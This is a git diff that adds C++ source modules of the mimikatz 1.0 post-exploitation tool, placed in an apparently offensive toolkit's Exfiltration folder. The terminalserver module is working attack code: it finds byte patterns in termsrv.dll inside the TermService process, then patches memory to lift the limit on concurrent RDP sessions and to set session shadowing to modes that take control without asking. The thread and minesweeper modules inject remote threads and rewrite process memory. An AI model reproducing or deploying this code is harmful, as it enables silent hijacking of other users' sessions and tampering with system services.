vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool clearScreen(vector<wstring> * arguments); + static bool exit(vector<wstring> * arguments); + static bool cite(vector<wstring> * arguments); + static bool reponse(vector<wstring> * arguments); + static bool version(vector<wstring> * arguments); + static bool sleep(vector<wstring> * arguments); + static bool test(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp new file mode 100644 index 0000000..90929b2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp @@ -0,0 +1,40 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_system.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_system::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(user, L"user", L"Affiche l\'utilisateur courant")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(computer, L"computer", L"Affiche le nom d\'ordinateur courant")); + return monVector; +} + +bool mod_mimikatz_system::user(vector<wstring> * arguments) +{ + wstring monUser; + + if(mod_system::getUserName(&monUser)) + (*outputStream) << L"Utilisateur : " << monUser << endl; + else + (*outputStream) << L"mod_system::getUserName : " << mod_system::getWinError(); + + return true; +} + +bool mod_mimikatz_system::computer(vector<wstring> * arguments) +{ + wstring monComputer; + + if(mod_system::getComputerName(&monComputer)) + (*outputStream) << L"Ordinateur : " << monComputer << endl; + else + (*outputStream) << L"mod_system::getComputerName : " << mod_system::getWinError(); + + return true; +} + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h new file mode 100644 index 0000000..bd96a01 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h @@ -0,0 +1,17 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include <iostream> + +class mod_mimikatz_system +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + static bool user(vector<wstring> * arguments); + static bool computer(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp new file mode 100644 index 0000000..9a071b1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp @@ -0,0 +1,291 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_terminalserver.h" +#include "..\global.h" + +// http://msdn.microsoft.com/library/aa383464.aspx +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_terminalserver::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sessions, L"sessions")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processes, L"processes")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(multirdp, L"multirdp", L"Patch le bureau ŕ distance pour dépasser 2 connexions simultanées")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(viewshadow, L"viewshadow", L"Affiche l\'état de la prise de contrôle des sessions RDP")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modifyshadow, L"modifyshadow", L"Modifie l\'état de la prise de contrôle des sessions RDP (DISABLE, INTERACT, INTERACT_NOASK, VIEW, VIEW_NOASK)")); + return monVector; +} + +bool mod_mimikatz_terminalserver::sessions(vector<wstring> * arguments) +{ + vector<mod_ts::KIWI_WTS_SESSION_INFO> mesSessions; + + if(mod_ts::getSessions(&mesSessions, (arguments->size() ? &arguments->front() : NULL))) + { + (*outputStream) << L"SessId\tEtat\tstrEtat" << endl; + for(vector<mod_ts::KIWI_WTS_SESSION_INFO>::iterator maSession = mesSessions.begin(); maSession != mesSessions.end(); maSession++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << maSession->id << L'\t' << + setw(5) << setfill(wchar_t(' ')) << maSession->state << L'\t' << + setw(15) << setfill(wchar_t(' ')) << left << stateToType(maSession->state) << right << L'\t' << + maSession->sessionName << + endl; + } + } + else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; + return true; +} + + +bool mod_mimikatz_terminalserver::processes(vector<wstring> * arguments) +{ + vector<mod_ts::KIWI_WTS_PROCESS_INFO> mesProcess; + + if(mod_ts::getProcesses(&mesProcess, (arguments->size() ? &arguments->front() : NULL))) + { + (*outputStream) << L"PID\tSessId\tUtilisateur" << endl; + for(vector<mod_ts::KIWI_WTS_PROCESS_INFO>::iterator monProcess = mesProcess.begin(); monProcess != mesProcess.end(); monProcess++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monProcess->pid << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->sessionId << L'\t' << + setw(48) << setfill(wchar_t(' ')) << left << monProcess->userSid << right << L'\t' << + monProcess->processName << + endl; + } + } + else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; + return true; +} + +bool mod_mimikatz_terminalserver::viewshadow(vector<wstring> * arguments) +{ + DWORD session = 0; + PDWORD ptrSession = NULL; + + if(arguments->size() == 1) + { + wstringstream resultat(arguments->front()); + resultat >> session; + ptrSession = &session; + } + + listAndOrModifySession(ptrSession); + return true; +} + +bool mod_mimikatz_terminalserver::modifyshadow(vector<wstring> * arguments) +{ + DWORD session = 0; + PDWORD ptrSession = NULL; + + wstring strState; + DWORD newState = 0; + + if(arguments->size() == 1) + { + strState.assign(arguments->front()); + } + else if(arguments->size() == 2) + { + wstringstream resultat(arguments->front()); + resultat >> session; + ptrSession = &session; + + strState.assign(arguments->back()); + } + + if(!strState.empty()) + { + bool strError = false; + if(_wcsicmp(strState.c_str(), L"DISABLE") == 0) newState = 0; + else if(_wcsicmp(strState.c_str(), L"INTERACT") == 0) newState = 1; + else if(_wcsicmp(strState.c_str(), L"INTERACT_NOASK") == 0) newState = 2; + else if(_wcsicmp(strState.c_str(), L"VIEW") == 0) newState = 3; + else if(_wcsicmp(strState.c_str(), L"VIEW_NOASK") == 0) newState = 4; + else strError = true; + + if(!strError) + listAndOrModifySession(ptrSession, &newState); + else + (*outputStream) << L"Erreur de parsing de l\'argument : " << strState << endl; + } + + return true; +} + +bool mod_mimikatz_terminalserver::listAndOrModifySession(DWORD * id, DWORD * newState) +{ + bool reussite = false; + + vector<mod_patch::OS> mesOS; + mesOS.push_back(mod_patch::WINDOWS_2003_____x86); + mesOS.push_back(mod_patch::WINDOWS_2003_____x64); + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x64); + + if(mod_patch::checkVersion(&mesOS)) + { +#ifdef _M_X64 + BYTE pattern1NT5[] = {0x48, 0x3B, 0xFE, 0x74, 0x22}; + long offsetToWin = -4; +#elif defined _M_IX86 + BYTE pattern1NT5[] = {0x8D, 0x47, 0x20, 0x53, 0x50, 0xFF, 0x15}; + long offsetToWin = -6; +#endif + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + wstring serviceName = L"TermService"; + wstring moduleName = L"termsrv.dll"; + + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, &moduleName, &monService.ServiceStatusProcess.dwProcessId)) + { + PBYTE baseAddr = monModule.modBaseAddr; + DWORD taille = monModule.modBaseSize; + + if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monService.ServiceStatusProcess.dwProcessId)) + { + PBYTE addrPattern = NULL; + if(mod_memory::searchMemory(baseAddr, baseAddr + taille, pattern1NT5, &addrPattern, sizeof(pattern1NT5), true, processHandle)) + { + PBYTE addrWinstationListHead = NULL; + + bool resInterm = false; + +#ifdef _M_X64 + long offSet = 0; + resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&offSet), sizeof(long), processHandle); + addrWinstationListHead = addrPattern + offSet; +#elif defined _M_IX86 + resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&addrWinstationListHead), sizeof(PBYTE), processHandle); +#endif + if(resInterm) + { + PBYTE addrWinstation = addrWinstationListHead; + do + { + if(mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(&addrWinstation), sizeof(PBYTE), processHandle) && addrWinstation != addrWinstationListHead) + { + KIWI_TS_SESSION * maSession = new KIWI_TS_SESSION(); + if(reussite = mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(maSession), sizeof(KIWI_TS_SESSION), processHandle)) + { + if((!id) || (maSession->id == *id)) + { + (*outputStream) << L"@Winstation : " << addrWinstation << endl; + + (*outputStream) << L"\t" << maSession->prev << L" <-> " << maSession->next << endl; + (*outputStream) << L"\tid : " << maSession->id << endl; + (*outputStream) << L"\tname : " << maSession->name << endl; + (*outputStream) << L"\tsname : " << maSession->sname << endl; + (*outputStream) << L"\ttype : " << maSession->type << endl; + (*outputStream) << L"\tshadow : " << maSession->shadow << L" (" << shadowToType(maSession->shadow) << L")" << endl; + + if(newState) + { + reussite = mod_memory::writeMemory(addrWinstation + FIELD_OFFSET(KIWI_TS_SESSION, shadow), newState, sizeof(DWORD), processHandle); + (*outputStream) << L"\t => " << *newState << L" (" <<shadowToType(*newState) << L") : " << (reussite ? L"OK" : L"KO") << endl; + } + (*outputStream) << endl; + } + } + delete maSession; + } + } while(addrWinstation != addrWinstationListHead); + } + else (*outputStream) << L"mod_memory::readMemory " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + + CloseHandle(processHandle); + } + else (*outputStream) << L"OpenProcess " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getUniqueServiceForName : " << mod_system::getWinError() << endl; + } + return reussite; +} + +bool mod_mimikatz_terminalserver::multirdp(vector<wstring> * arguments) +{ + BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f}; + BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90}; + LONG OFFS_WIN5_TestLicence = 3; +#ifdef _M_X64 + BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75}; + BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb}; + BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; + BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; +#elif defined _M_IX86 + BYTE PTRN_WN60_Query__CDefPolicy[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84}; + BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90}; + BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84}; + BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x86, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; +#endif + LONG OFFS_WIN6_Query__CDefPolicy = 0; + + BYTE * PTRN_Licence = NULL; DWORD SIZE_PTRN_Licence = 0; + BYTE * PATC_Licence = NULL; DWORD SIZE_PATC_Licence = 0; + LONG OFFS_PATC_Licence = 0; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + PTRN_Licence = PTRN_WIN5_TestLicence; SIZE_PTRN_Licence = sizeof(PTRN_WIN5_TestLicence); + PATC_Licence = PATC_WIN5_TestLicence; SIZE_PATC_Licence = sizeof(PATC_WIN5_TestLicence); + OFFS_PATC_Licence = OFFS_WIN5_TestLicence; + } + else + { + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + PTRN_Licence = PTRN_WN60_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN60_Query__CDefPolicy); + PATC_Licence = PATC_WN60_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN60_Query__CDefPolicy); + } + else + { + PTRN_Licence = PTRN_WN6x_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN6x_Query__CDefPolicy); + PATC_Licence = PATC_WN6x_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN6x_Query__CDefPolicy); + } + OFFS_PATC_Licence = OFFS_WIN6_Query__CDefPolicy; + } + + mod_patch::patchModuleOfService(L"TermService", L"termsrv.dll", PTRN_Licence, SIZE_PTRN_Licence, PATC_Licence, SIZE_PATC_Licence, OFFS_PATC_Licence); + return true; +} + +wstring mod_mimikatz_terminalserver::shadowToType(DWORD shadow) +{ + switch(shadow) + { + case 0: return(L"DISABLE"); + case 1: return(L"INTERACT (confirmation)"); + case 2: return(L"INTERACT_NOASK"); + case 3: return(L"VIEW (confirmation)"); + case 4: return(L"VIEW_NOASK"); + default: return(L"?"); + } +} + +wstring mod_mimikatz_terminalserver::stateToType(DWORD state) +{ + switch(state) + { + case WTSActive: return(L"Active"); + case WTSConnected: return(L"Connected"); + case WTSConnectQuery: return(L"ConnectQuery"); + case WTSShadow: return(L"Shadow"); + case WTSDisconnected: return(L"Disconnected"); + case WTSIdle: return(L"Idle"); + case WTSListen: return(L"Listen"); + case WTSReset: return(L"Reset"); + case WTSDown: return(L"Down"); + case WTSInit: return(L"Init"); + + default: return(L"?"); + } +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h new file mode 100644 index 0000000..5af9492 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h @@ -0,0 +1,55 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_ts.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_patch.h" +#include <iostream> + +class mod_mimikatz_terminalserver +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool sessions(vector<wstring> * arguments); + static bool processes(vector<wstring> * arguments); + static bool viewshadow(vector<wstring> * arguments); + static bool modifyshadow(vector<wstring> * arguments); + static bool multirdp(vector<wstring> * arguments); + +private: + static bool listAndOrModifySession(DWORD * id = NULL, DWORD * newState = NULL); + static wstring shadowToType(DWORD shadow); + static wstring stateToType(DWORD state); + + enum KIWI_SHADOW_TYPE { + SHADOW_DISABLE = 0, + SHADOW_INTERACT = 1, + SHADOW_INTERACT_NOASK = 2, + SHADOW_VIEW = 3, + SHADOW_VIEW_NOASK = 4 + }; + + typedef struct _KIWI_TS_SESSION { + PBYTE next; + PBYTE prev; + PBYTE unk1; + PBYTE refLock; + PBYTE unk2; + BYTE unk3[8]; + DWORD id; + wchar_t name[32+1]; + BYTE unk4[7434]; + wchar_t sname[32+1]; + wchar_t type[32+1]; + BYTE unk5[1684]; + DWORD shadow; + } KIWI_TS_SESSION, * PKIWI_TS_SESSION; + +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp new file mode 100644 index 0000000..3a8edc0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp @@ -0,0 +1,138 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_thread.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_thread::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les threads")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend un thread actif")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un thread suspendu")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arręte un thread")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(quit, L"quit", L"Envoi un message de fermeture ŕ un thread")); + return monVector; +} + +bool mod_mimikatz_thread::list(vector<wstring> * arguments) +{ + vector<THREADENTRY32> * vectorThreads = new vector<THREADENTRY32>(); + + DWORD processId = arguments->empty() ? 0 : _wtoi(arguments->front().c_str()); + + if(mod_thread::getList(vectorThreads, arguments->empty() ? NULL : &processId)) + { + (*outputStream) << L"PID\tTID\tprTh" << endl; + for(vector<THREADENTRY32>::iterator monThread = vectorThreads->begin(); monThread != vectorThreads->end(); monThread++) + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monThread->th32OwnerProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monThread->th32ThreadID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monThread->tpBasePri << + endl; + } + else + (*outputStream) << L"mod_thread::getList ; " << mod_system::getWinError() << endl; + + delete vectorThreads; + return true; +} + +bool mod_mimikatz_thread::resume(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\treprise "; + + if(mod_thread::resume(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::resume ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + +bool mod_mimikatz_thread::suspend(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tsuspension "; + + if(mod_thread::suspend(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::suspend ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + +bool mod_mimikatz_thread::stop(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tarręt "; + + if(mod_thread::stop(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::stop ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + + +bool mod_mimikatz_thread::quit(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tmessage fermeture "; + + if(mod_thread::quit(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::quit ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h new file mode 100644 index 0000000..fd072bf --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h @@ -0,0 +1,27 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_thread.h" +#include <iostream> +#include <iomanip> + +class mod_mimikatz_thread +{ +private: +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool list(vector<wstring> * arguments); + //static bool start(vector<wstring> * arguments); + static bool suspend(vector<wstring> * arguments); + static bool resume(vector<wstring> * arguments); + static bool stop(vector<wstring> * arguments); + //static bool query(vector<wstring> * arguments); + + static bool quit(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp new file mode 100644 index 0000000..2f541f2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp @@ -0,0 +1,162 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_winmine.h" +#include "..\global.h" + +char DISP_WINMINE[] = " 123456789*x*?F."; + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_winmine::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pause, L"pause", L"Met en pause le chronomčtre du démineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reprise, L"reprise", L"Reprend le chronomčtre du démineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre une nouvelle partie")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cheat, L"cheat", L"Triche au démineur")); + return monVector; +} + +bool mod_mimikatz_winmine::infos(vector<wstring> * arguments) +{ + return infosOrCheat(arguments, false); +} + +bool mod_mimikatz_winmine::cheat(vector<wstring> * arguments) +{ + return infosOrCheat(arguments, true); +} + +bool mod_mimikatz_winmine::infosOrCheat(vector<wstring> * arguments, bool cheat) +{ + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + structMonDemineur monDemineur; + if(mod_memory::readMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) + { + (*outputStream) << L"Mines : " << monDemineur.nbMines << endl << + L"Dimension : " << monDemineur.hauteur << L" lignes x " << monDemineur.longueur << L" colonnes" << endl << + L"Champ : " << endl << endl; + + for (DWORD y = 1; y <= monDemineur.hauteur; y++) + { + if(!cheat) + (*outputStream) << L'\t'; + + for(DWORD x = 1; x <= monDemineur.longueur; x++) + { + BYTE laCase = monDemineur.tabMines[y][x]; + + if(!cheat) + (*outputStream) << L' ' << static_cast<wchar_t>((laCase & 0x80) ? '*' : DISP_WINMINE[laCase & 0x0f]); + else if(laCase & 0x80) + monDemineur.tabMines[y][x] = 0x4e; + } + if(!cheat) + (*outputStream) << endl; + } + + if(cheat) + { + if(mod_memory::writeMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) + (*outputStream) << L"Patché ;)" << endl; + + vector<mod_windows::KIWI_HWND_ENTRY> mesHWNDS; + if(mod_windows::getHWNDsFromProcessId(&mesHWNDS, maStruct->pidWinmine)) + { + for(vector<mod_windows::KIWI_HWND_ENTRY>::iterator monHWND = mesHWNDS.begin(); monHWND != mesHWNDS.end(); monHWND++) + { + InvalidateRect(monHWND->monHandle, NULL, TRUE); + UpdateWindow(monHWND->monHandle); + } + } + } + } + CloseHandle(maStruct->hWinmine); + } + delete maStruct; + return true; +} + + +bool mod_mimikatz_winmine::pause(vector<wstring> * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrPause)); + return true; +} + +bool mod_mimikatz_winmine::reprise(vector<wstring> * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrResume)); + return true; +} + +bool mod_mimikatz_winmine::start(vector<wstring> * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrStart)); + return true; +} + +bool mod_mimikatz_winmine::startThreadAt(unsigned long structOffset) +{ + bool reussite = false; + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + if (HANDLE hRemoteThread = CreateRemoteThread(maStruct->hWinmine, NULL, 0, *reinterpret_cast<PTHREAD_START_ROUTINE *>(reinterpret_cast<PBYTE>(maStruct) + structOffset), NULL, 0, NULL)) + { + reussite = true; + WaitForSingleObject(hRemoteThread, INFINITE); + CloseHandle(hRemoteThread); + } + } + delete maStruct; + return reussite; +} + +bool mod_mimikatz_winmine::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) +{ + BYTE patternStartGame[] = {0x6a, 0x04, 0xeb, 0x02, 0x6a, 0x06, 0x5b, 0xa3}; + BYTE patternPause[] = {0x02, 0x75, 0x0a, 0xa1}; + BYTE patternReprise[] = {0x01, 0x74, 0x0a, 0xa1}; + BYTE patternStart[] = {0x53, 0x56, 0x57, 0x33, 0xff, 0x3b, 0x05}; + + RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); + + wstring nomDemineur(L"winmine.exe"); + mod_process::KIWI_PROCESSENTRY32 monDemineur; + if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) + { + monHandleAndAddr->pidWinmine = monDemineur.th32ProcessID; + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) + { + PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; + if(monHandleAndAddr->hWinmine = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monDemineur.th32ProcessID)) + { + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStartGame, &ptrTemp, sizeof(patternStartGame), true, monHandleAndAddr->hWinmine)) + if(mod_memory::readMemory(ptrTemp + sizeof(patternStartGame), &ptrTemp, sizeof(ULONG), monHandleAndAddr->hWinmine)) // high bits of ptrTemp are already at 00000000 + monHandleAndAddr->addrMonDemineur = reinterpret_cast<structMonDemineur *>(ptrTemp - sizeof(ULONG)); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternPause, &ptrTemp, sizeof(patternPause), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrPause = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 11); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternReprise, &ptrTemp, sizeof(patternReprise), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrResume = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 6); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStart, &ptrTemp, sizeof(patternStart), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrStart = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 11); + } + } + } + + bool reussite = monHandleAndAddr->hWinmine && monHandleAndAddr->addrMonDemineur && monHandleAndAddr->addrStart && monHandleAndAddr->addrPause && monHandleAndAddr->addrResume; + + if(!reussite && monHandleAndAddr->hWinmine) + CloseHandle(monHandleAndAddr->hWinmine); + + return reussite; +}
